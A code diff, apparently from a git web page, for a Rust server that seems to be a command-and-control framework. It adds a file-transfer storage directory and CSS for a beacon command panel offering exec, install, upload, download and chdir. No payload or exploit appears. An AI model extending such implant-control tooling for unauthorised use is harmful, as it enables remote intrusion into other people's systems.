tracing::info!("Done running database migrations!");
|
||||||
|
|
||||||
match options.command.clone() {
|
match options.command.clone() {
|
||||||
Some(cli::Command::Serve { management_address }) => {
|
Some(cli::Command::Serve { management_address, file_store }) => {
|
||||||
tracing::info!("Performing requested action, acting as web server");
|
tracing::info!("Performing requested action, acting as web server");
|
||||||
webserver::serve_web(management_address, pool).await
|
webserver::serve_web(management_address, file_store, pool).await
|
||||||
}
|
}
|
||||||
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
|
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
|
||||||
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
|
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
|
||||||
@ -77,7 +77,7 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
|||||||
tracing::info!("Performing default action of acting as web server");
|
tracing::info!("Performing default action of acting as web server");
|
||||||
|
|
||||||
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
|
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
|
||||||
webserver::serve_web(default_management_ip, pool).await
|
webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,4 +1,4 @@
|
|||||||
use std::{net::SocketAddrV4, process::ExitCode};
|
use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
|
||||||
|
|
||||||
use axum::{
|
use axum::{
|
||||||
extract::{ws, FromRef, Path, Query, State},
|
extract::{ws, FromRef, Path, Query, State},
|
||||||
@ -480,6 +480,7 @@ async fn handle_listener_events(
|
|||||||
|
|
||||||
pub async fn serve_web(
|
pub async fn serve_web(
|
||||||
management_address: SocketAddrV4,
|
management_address: SocketAddrV4,
|
||||||
|
file_store: PathBuf,
|
||||||
db: SqlitePool,
|
db: SqlitePool,
|
||||||
) -> anyhow::Result<ExitCode> {
|
) -> anyhow::Result<ExitCode> {
|
||||||
let conf = get_configuration(None).unwrap();
|
let conf = get_configuration(None).unwrap();
|
||||||
@ -488,6 +489,8 @@ pub async fn serve_web(
|
|||||||
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
||||||
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
||||||
|
|
||||||
|
tokio::fs::create_dir_all(&file_store).await?;
|
||||||
|
|
||||||
let compression_layer = tower_http::compression::CompressionLayer::new()
|
let compression_layer = tower_http::compression::CompressionLayer::new()
|
||||||
.gzip(true)
|
.gzip(true)
|
||||||
.deflate(true)
|
.deflate(true)
|
||||||
@ -525,6 +528,7 @@ pub async fn serve_web(
|
|||||||
provide_context(beacon_listeners.clone());
|
provide_context(beacon_listeners.clone());
|
||||||
provide_context(db.clone());
|
provide_context(db.clone());
|
||||||
provide_context(beacon_event_broadcast.clone());
|
provide_context(beacon_event_broadcast.clone());
|
||||||
|
provide_context(file_store.clone());
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
let leptos_options = leptos_options.clone();
|
let leptos_options = leptos_options.clone();
|
||||||
|
|||||||
@ -0,0 +1,38 @@
|
|||||||
|
main.beacons div.commands {
|
||||||
|
padding: 10px;
|
||||||
|
overflow-y: scroll;
|
||||||
|
|
||||||
|
fieldset {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 400px 200px;
|
||||||
|
grid-row-gap: 10px;
|
||||||
|
|
||||||
|
input, label {
|
||||||
|
margin: 10px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
x
Reference in New Issue
Block a user